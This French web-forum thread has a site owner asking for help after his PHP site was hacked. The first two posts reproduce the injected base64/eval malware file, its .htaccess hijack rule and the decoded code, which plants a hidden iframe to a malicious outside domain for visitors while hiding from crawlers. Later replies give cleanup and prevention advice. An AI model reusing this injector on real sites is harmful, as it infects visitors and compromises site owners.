Mon site hacké en php?

Petit nouveau ! | 6 Messages

01 janv. 2010, 18:07

Bonjour et bonne année !

Bon l'année commence mal, ma surprise du 1er janvier 2010 a été de voir avast s'affoler lorsque j'ai tenter de me connecter à mon site. Impossible de me connecter virus virus virus. Je vais donc sur mon ftp et je vois un nouveau fichier php incompréhensible et mon htacces changé (il lui indiquait de pointer vers ce fichier.php). Bon je pense que le but est de rendre mon site indisponible (la concurrence est à mon avis la coupable) mais le code veut dire quoi ? et que faut il que je change dans mon code pour éviter cela ?
Pour info j'ai mis des include dans mon site pour afficher le menu du haut de mon site et j'ai un formulaire de contact en php. E
voici le code insérer dans ce fameux fichier .php

Code : Tout sélectionner

<?php eval(base64_decode('JElJSUlJSUlJSUlJSSA9ICc8ZGl2IHN0eWxlPSJkaXNwbGF5Om5vbmUiPiZuYnNwOyAmbmJzcDs8aWZyYW1lIGZzZHNkZj0ic2RmZGYiIHdpZHRoPSI3MzIiIGhlaWdodD0iNDA1MSIgc3JjPSJodHRwOi8vZ3JpenpsaS1jb3VudGVyLmNvbS9pZDEyMC9pbmRleC5waHAiPjwvaWZyYW1lPjwvZGl2Pic7IGZ1bmN0aW9uIElJSUlJSUlJSUlJSSgkSUlJSUlJSUlJSUlsKSB7IGdsb2JhbCAkYXJndjsgJElJSUlJSUlJSUlsSSA9IGRpcm5hbWUoZ2V0Y3dkKCkgLiAnLycgLiAkSUlJSUlJSUlJSUlsKTsgJElJSUlJSUlJSUlsbCA9IGdldGN3ZCgpOyBAY2hkaXIoJElJSUlJSUlJSUlsSSk7ICRJSUlJSUlJSUlJbEkgPSBnZXRjd2QoKTsgQGNoZGlyKCRJSUlJSUlJSUlJbGwpOyByZXR1cm4gJElJSUlJSUlJSUlsSTsgfSBmdW5jdGlvbiBJSUlJSUlJSUlJSWwoJElJSUlJSUlJSUlsMSkgeyBpZiggc3Ryc3RyKCRJSUlJSUlJSUlJbDEsICJZYW5kZXgvIikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIllhRGlyZWN0Qm90IikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIkphbWVzIEJvbmQiKSAhPSBudWxsIHx8IHN0cnN0cigkSUlJSUlJSUlJSWwxLCAiR29vZ2xlYm90IikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIk1lZGlhcGFydG5lcnMtR29vZ2xlIikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIlN0YWNrUmFtYmxlciIpICE9IG51bGwgfHwgc3Ryc3RyKCRJSUlJSUlJSUlJbDEsICJTbHVycCIpICE9IG51bGwgfHwgc3Ryc3RyKCRJSUlJSUlJSUlJbDEsICJtc25ib3QiKSAhPSBudWxsICkgeyByZXR1cm4gdHJ1ZTsgfSByZXR1cm4gZmFsc2U7IH0gZnVuY3Rpb24gSUlJSUlJSUlJSUkxKCRJSUlJSUlJSUlJbEkpIHsgJElJSUlJSUlJSUkxSSA9IGFycmF5KCdhZG0nLCAncG1hJywgJ21vZGVyJywgJ2NwJyk7ICRJSUlJSUlJSUlJMWwgPSBmYWxzZTsgZm9yZWFjaCAoJElJSUlJSUlJSUkxSSBhcyAkSUlJSUlJSUlJSTExKSB7IGlmKHN0cnN0cigkSUlJSUlJSUlJSWxJLCAkSUlJSUlJSUlJSTExKSAhPSBudWxsKSB7ICRJSUlJSUlJSUlJMWwgPSB0cnVlOyB9IH0gcmV0dXJuICRJSUlJSUlJSUlJMWw7IH0gZnVuY3Rpb24gSUlJSUlJSUlJSWxJKCRJSUlJSUlJSUlsSUkpIHsgZ2xvYmFsICRJSUlJSUlJSUlJSUksICRfU0VSVkVSOyAkSUlJSUlJSUlJbElJID0gcHJlZ19yZXBsYWNlKCcvPGlmcmFtZS4qc3R5bGU9LipoaWRkZW4uKlwvaWZyYW1lW14+XSo+L2knLCAiIiwgJElJSUlJSUlJSWxJSSk7ICRJSUlJSUlJSUlsSUkgPSBwcmVnX3JlcGxhY2UoJy88ZGl2LipzdHlsZT0uKmRpc3BsYXk6bm9uZS4qW14+XSo+Lio8aWZyYW1lIC4qXC8uKmRpdltePl0qPi9pJywgIiIsICRJSUlJSUlJSUlsSUkpOyAkSUlJSUlJSUlJbElJID0gcHJlZ19yZXBsYWNlKCcvPCEtLSBhZCAtLT48c2NyaXB0W14+XSo+Lio8XC9zY3JpcHQ+PCEtLSBcL2FkIC0tPi9pJywgIiIsICRJSUlJSUlJSUlsSUkpOyBpZihJSUlJSUlJSUlJSWwoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA9PSB0cnVlIHx8IElJSUlJSUlJSUlJMShkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSkgPT0gdHJ1ZSkgeyByZXR1cm4gJElJSUlJSUlJSWxJSTsgfSBlbHNlIHsgaWYocHJlZ19tYXRjaCgiLyg8Ym9keVtePl0qPikvaSIsICRJSUlJSUlJSUlsSUkpID4gMCkgeyByZXR1cm4gcHJlZ19yZXBsYWNlKCIvKDxib2R5W14+XSo+KS9pIiwgIiRJSUlJSUlJSUlsSTEgXG4iLiRJSUlJSUlJSUlJSUksICRJSUlJSUlJSUlsSUksIDEpOyB9IGVsc2UgeyByZXR1cm4gJElJSUlJSUlJSWxJSS4kSUlJSUlJSUlJSUlJOyB9IH0gfSBpZihAb2Jfc3RhcnQoJ0lJSUlJSUlJSUlsSScpID09IHRydWUpIHsgJElJSUlJSUlJSUlJbCA9ICRfR0VUWydxcSddOyBAY2hkaXIoSUlJSUlJSUlJSUlJKCRJSUlJSUlJSUlJSWwpKTsgaW5jbHVkZSgkSUlJSUlJSUlJSUlsKTsgfSBlbHNlIHsgZWNobyAkSUlJSUlJSUlJSUlJOyB9')); ?>
Il me semble que ce code est crypté ou du moins dé-codable, j'avoue ne pas trop savoir mais j'ai vue des choses similaires sur des forums.

et voila le htaccess

Code : Tout sélectionner

#5BF5B95BE125{ RewriteEngine On RewriteCond %{REQUEST_METHOD} GET RewriteCond %{REQUEST_FILENAME} -f RewriteCond %{REQUEST_FILENAME} !PE(.*).php RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) PE5BF5B95BE125.php?%{QUERY_STRING}&qq=$1.$2 [NC,L] #5BF5B95BE125} SetEnv PHP_VER 5
Voila, je suis novice en php, alors j'ai besoin de votre aide pour sécuriser mon site des attaques et comprendre ces fichiers incompréhensibles à mes yeux.
Merci d'avance !

Mammouth du PHP | 991 Messages

01 janv. 2010, 19:10

Pour te faire une idée voici le résultat du base64_decode :
<?php

//<div style="display:none">&nbsp; &nbsp;<iframe fsdsdf="sdfdf" width="732" height="4051" src="http://grizzli-counter.com/id120/index.php"></iframe></div>'; 
function IIIIIIIIIIII($IIIIIIIIIIIl) { 
    global $argv; 
    $IIIIIIIIIIlI = dirname(getcwd() . '/' . $IIIIIIIIIIIl);
    $IIIIIIIIIIll = getcwd();
    @chdir($IIIIIIIIIIlI);
    $IIIIIIIIIIlI = getcwd();
    @chdir($IIIIIIIIIIll);
    return $IIIIIIIIIIlI; 
} 
function IIIIIIIIIIIl($IIIIIIIIIIl1) {
    if( strstr($IIIIIIIIIIl1, "Yandex/") != null || strstr($IIIIIIIIIIl1, "YaDirectBot") != null || strstr($IIIIIIIIIIl1, "James Bond") != null || strstr($IIIIIIIIIIl1, "Googlebot") != null || strstr($IIIIIIIIIIl1, "Mediapartners-Google") != null || strstr($IIIIIIIIIIl1, "StackRambler") != null || strstr($IIIIIIIIIIl1, "Slurp") != null || strstr($IIIIIIIIIIl1, "msnbot") != null ) {
        return true; 
    } return false; 
} function IIIIIIIIIII1($IIIIIIIIIIlI) { 
    $IIIIIIIIII1I = array('adm', 'pma', 'moder', 'cp');
    $IIIIIIIIII1l = false;
    foreach ($IIIIIIIIII1I as $IIIIIIIIII11) {
        if(strstr($IIIIIIIIIIlI, $IIIIIIIIII11) != null) {
            $IIIIIIIIII1l = true; 
        } 
    }
    return $IIIIIIIIII1l; 
}
function IIIIIIIIIIlI($IIIIIIIIIlII) {
    global $IIIIIIIIIIII, $_SERVER;
    $IIIIIIIIIlII = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $IIIIIIIIIlII);
    $IIIIIIIIIlII = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $IIIIIIIIIlII);
    $IIIIIIIIIlII = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $IIIIIIIIIlII);
    if(IIIIIIIIIIIl($_SERVER['HTTP_USER_AGENT']) == true || IIIIIIIIIII1(dirname($_SERVER['SCRIPT_NAME'])) == true) {
        return $IIIIIIIIIlII; 
    }
    else {
        if(preg_match("/(<body[^>]*>)/i", $IIIIIIIIIlII) > 0) {
            return preg_replace("/(<body[^>]*>)/i", "$IIIIIIIIIlI1 \n".$IIIIIIIIIIII, $IIIIIIIIIlII, 1); 
        }
        else {
            return $IIIIIIIIIlII.$IIIIIIIIIIII; 
        } 
    } 
} 
if(@ob_start('IIIIIIIIIIlI') == true) {
    
    $IIIIIIIIIIIl = $_GET['qq'];
    @chdir(IIIIIIIIIIII($IIIIIIIIIIIl));
    include($IIIIIIIIIIIl);
}
else {
    echo $IIIIIIIIIIII; 
}

?>
Le tout sera executer par le eval;

En gros tu execute un code malveillant a chaque affichage.

TU peux changer tes codes d'accès FTP , SQL et toutes les données de ton site s'il est sensible.
SInon les experts du forum te répondront plus précisement

Bye HAwk.
DevOps, Symfony4, Hoa

Petit nouveau ! | 6 Messages

01 janv. 2010, 22:04

Ok merci , mais il sert à quoi ce programme malveillant. Quel est son but ? Et surtout comment protéger mon code pour éviter ce désagrément.
Maintenant que vous m'avez aidé a décrypter ce code, pouvez vous me donner la procédure pour que je puisse le faire de mon coté si cela recommençait.
Merci les amis de m'aider car j'avoue que ces gars ne servent à rien à part à pourrir mon site et mon travail.

Mammouth du PHP | 693 Messages

02 janv. 2010, 14:27

Remplace eval() par print(). Au lieu d'évaluer le code ca l'affichera. Pour ce qu'il fait, il inclue une page, probablement un virus. Mais après, pour savoir ou elle est, c'est un peu compliqué. Il faudrait executer le scipt (sans le include) puis a la fin trouver la path

Avatar du membre
Modérateur PHPfrance
Modérateur PHPfrance | 10684 Messages

02 janv. 2010, 23:51

La première des choses à faire, c'est effectivement de changer tous tes mots de passe. Avec un minimum de sécurité, tu peux envisager au moins 8 caractères et au moins 3 des 4 possibilités suivantes :
- au moins une minuscule
- au moins une majuscule
- au moins un chiffre
- au moins un caractère spécial

Ensuite, il te faut vérifier si ton site permet l'upload de fichier, que celui-ci ne permet pas d'uploader des fichiers avec l'extension php.
De même si ton site fonctionne avec des includes, t'assurer qu'on ne puisse pas inclure autre chose que les pages que tu as prévu (en gros, qu'en modifiant l'url je ne puisse pas ouvrir une url distante ou d'autres fichiers de ton serveur, comme celui contenant les accès à la base)

Bien sur, il faut supprimer les fichiers qui ont été ajoutés et passer un coup d'antivirus sur le serveur.

Quant aux effets du script, il ouvre dans un premier temps le site grizzli-counter.com, qui est apparement considéré comme malveillant (par google et symantec). Apparement il tente d'installer un cheval de troie chez les visiteurs et sans doute d'autres cochoncetés...
Ce n'est pas en améliorant la bougie que l'on a inventé l'ampoule...

Petit nouveau ! | 6 Messages

03 janv. 2010, 15:52

La première des choses à faire, c'est effectivement de changer tous tes mots de passe. Avec un minimum de sécurité, tu peux envisager au moins 8 caractères et au moins 3 des 4 possibilités suivantes :
- au moins une minuscule
- au moins une majuscule
- au moins un chiffre
- au moins un caractère spécial

Ensuite, il te faut vérifier si ton site permet l'upload de fichier, que celui-ci ne permet pas d'uploader des fichiers avec l'extension php.
De même si ton site fonctionne avec des includes, t'assurer qu'on ne puisse pas inclure autre chose que les pages que tu as prévu (en gros, qu'en modifiant l'url je ne puisse pas ouvrir une url distante ou d'autres fichiers de ton serveur, comme celui contenant les accès à la base)

Bien sur, il faut supprimer les fichiers qui ont été ajoutés et passer un coup d'antivirus sur le serveur.

Quant aux effets du script, il ouvre dans un premier temps le site grizzli-counter.com, qui est apparement considéré comme malveillant (par google et symantec). Apparement il tente d'installer un cheval de troie chez les visiteurs et sans doute d'autres cochoncetés...
Ok je vois un peu le truc. Sur mon site je n'ai pas mis de upload mais j'ai très récemment mis des includes pour mes menus, regardez plutôt
<?php include ("menu.php"); ?>
et à mon avis c'est la que j'ai un pépin car j'ai lu qu'il fallait faire différemment mais je ne sais plus comment faire. Avez vous une piste ?

Avatar du membre
Modérateur PHPfrance
Modérateur PHPfrance | 10684 Messages

03 janv. 2010, 16:44

Ton include est correct, il inclut uniquement le fichier menu.php qui se trouve sur ton serveur et n'est pas en remettre en cause :)

C'est seulement si tu passais des paramètres dynamiques à la fonction include (par exemple si tu faisais un "include($_POST[''menu'])") qu'il faudrait ajouter des contrôles pour s'assurer que l'utilisateur ne puisse pas accéder à tout et n'importe quoi sur ton serveur :)
Ce n'est pas en améliorant la bougie que l'on a inventé l'ampoule...

Petit nouveau ! | 6 Messages

05 janv. 2010, 18:10

Dans les cas que j'ai vu autrefois, cette injection de fichieres php ou html avec un virus c'est passé par ftp.
Le mot de passe a été "volé" par un trojan qui a transmis les données à un serveur. La contamination a été fait par des robots installé sur ce serveur.
En conclusion, avant de changer ton mot de passe c'est bien de scanner ton ordinateur avec un logiciel antivirus.

Petit nouveau ! | 6 Messages

05 janv. 2010, 18:23

Dans les cas que j'ai vu autrefois, cette injection de fichieres php ou html avec un virus c'est passé par ftp.
Le mot de passe a été "volé" par un trojan qui a transmis les données à un serveur. La contamination a été fait par des robots installé sur ce serveur.
En conclusion, avant de changer ton mot de passe c'est bien de scanner ton ordinateur avec un logiciel antivirus.
Merci florinn,
Heuresement avast m'a averti du virus et a abandonné la connexion. J'ai ensuite pu supprimer les fichiers de mon serveur et changer mon mot de passe. Mon site est sur un serveur OVH et je ne comprends tjrs pas comment le hacker a fait cela.
Si quelqu'un a une piste, je suis preneur.

ViPHP
ViPHP | 1136 Messages

05 janv. 2010, 22:03

Slt ,

Les logs ...
Épluche les logs de tes services "critiques" .. connexion SSH , FTP , Ect ...
Les logs apache , le pirate n'a pas réussit du premier coup , il doit y avoir de nombreuses tentatives inscrites dans les logs ( si l'intrusion est récente ).

( évidemment uniquement si tu as accès aux logs .. )

Ensuite , qui a t'il sur ton serveur ?
Uniquement des développements perso ? ( il y a des chances qu'il y ai une/des failles d'injection de code ) , code à éprouver .
Des "sites/blog/CMS ect .. " ? si oui sont-ils à jour ?

Voilà , en attendant , tu devrais mettre les sites hors ligne , pour éviter que des internautes tombent dessus et se font avoir , de plus tu risques d'être black-listé par les navigateurs ...

Cdt ,
Ch.

Petit nouveau ! | 6 Messages

06 janv. 2010, 12:08

Slt ,

Les logs ...
Épluche les logs de tes services "critiques" .. connexion SSH , FTP , Ect ...
Les logs apache , le pirate n'a pas réussit du premier coup , il doit y avoir de nombreuses tentatives inscrites dans les logs ( si l'intrusion est récente ).

( évidemment uniquement si tu as accès aux logs .. )

Ensuite , qui a t'il sur ton serveur ?
Uniquement des développements perso ? ( il y a des chances qu'il y ai une/des failles d'injection de code ) , code à éprouver .
Des "sites/blog/CMS ect .. " ? si oui sont-ils à jour ?

Voilà , en attendant , tu devrais mettre les sites hors ligne , pour éviter que des internautes tombent dessus et se font avoir , de plus tu risques d'être black-listé par les navigateurs ...

Cdt ,
Ch.
Bonjour et merci pour ces infos importantes.

Il n'y a que du code que j'ai développé sans cms ni blog. J'ai insérer des scripts de formulaires et les injections peuvent venir de là. Autrement j'ai un peu de javascript à la sauce Jquery. Pour les log je suis sur OVH comme hébergeur et je ne sais pas comment les consulter par contre j'aimerais installer un script que me place toutes les ip des visiteurs avec la date et l'heure dans un fichier texte comme cela je pourrai voir qui a été le dernier connecté avant le crash (si bien sur cela se reproduisait).
Merci pour l'aide.

Mammouth du PHP | 2937 Messages

06 janv. 2010, 15:36

j'aimerais installer un script que me place toutes les ip des visiteurs avec la date et l'heure dans un fichier texte comme cela je pourrai voir qui a été le dernier connecté avant le crash (si bien sur cela se reproduisait).
Justement, les logs sont là pour ça. ;)

Petit nouveau ! | 6 Messages

07 janv. 2010, 17:45

Avast t'a averti d'un virus dans la page web.
Je parlais d'un virus (trojan) dans ton ordinateur (ou dans un autre ordinateur d'où tu as fait une connexion ftp à ton site) qui "vole" les mots de passe.

Par exemple:
http://simvez.com/web/virus-iframehtml- ... -flashfxp/

Petit nouveau ! | 6 Messages

08 janv. 2010, 13:20

Avast t'a averti d'un virus dans la page web.
Je parlais d'un virus (trojan) dans ton ordinateur (ou dans un autre ordinateur d'où tu as fait une connexion ftp à ton site) qui "vole" les mots de passe.

Par exemple:
http://simvez.com/web/virus-iframehtml- ... -flashfxp/
Ah oui pas bête ;) , je vais scanner mes pc et voir tout cela merci. J'ai vu les logs sur le serveur et j'ai constaté l'envoi de fichier fin décembre. L'adresse ip me renvoie en Allemagne.
A voir si il a utilisé un proxy ou autre astuce.
merci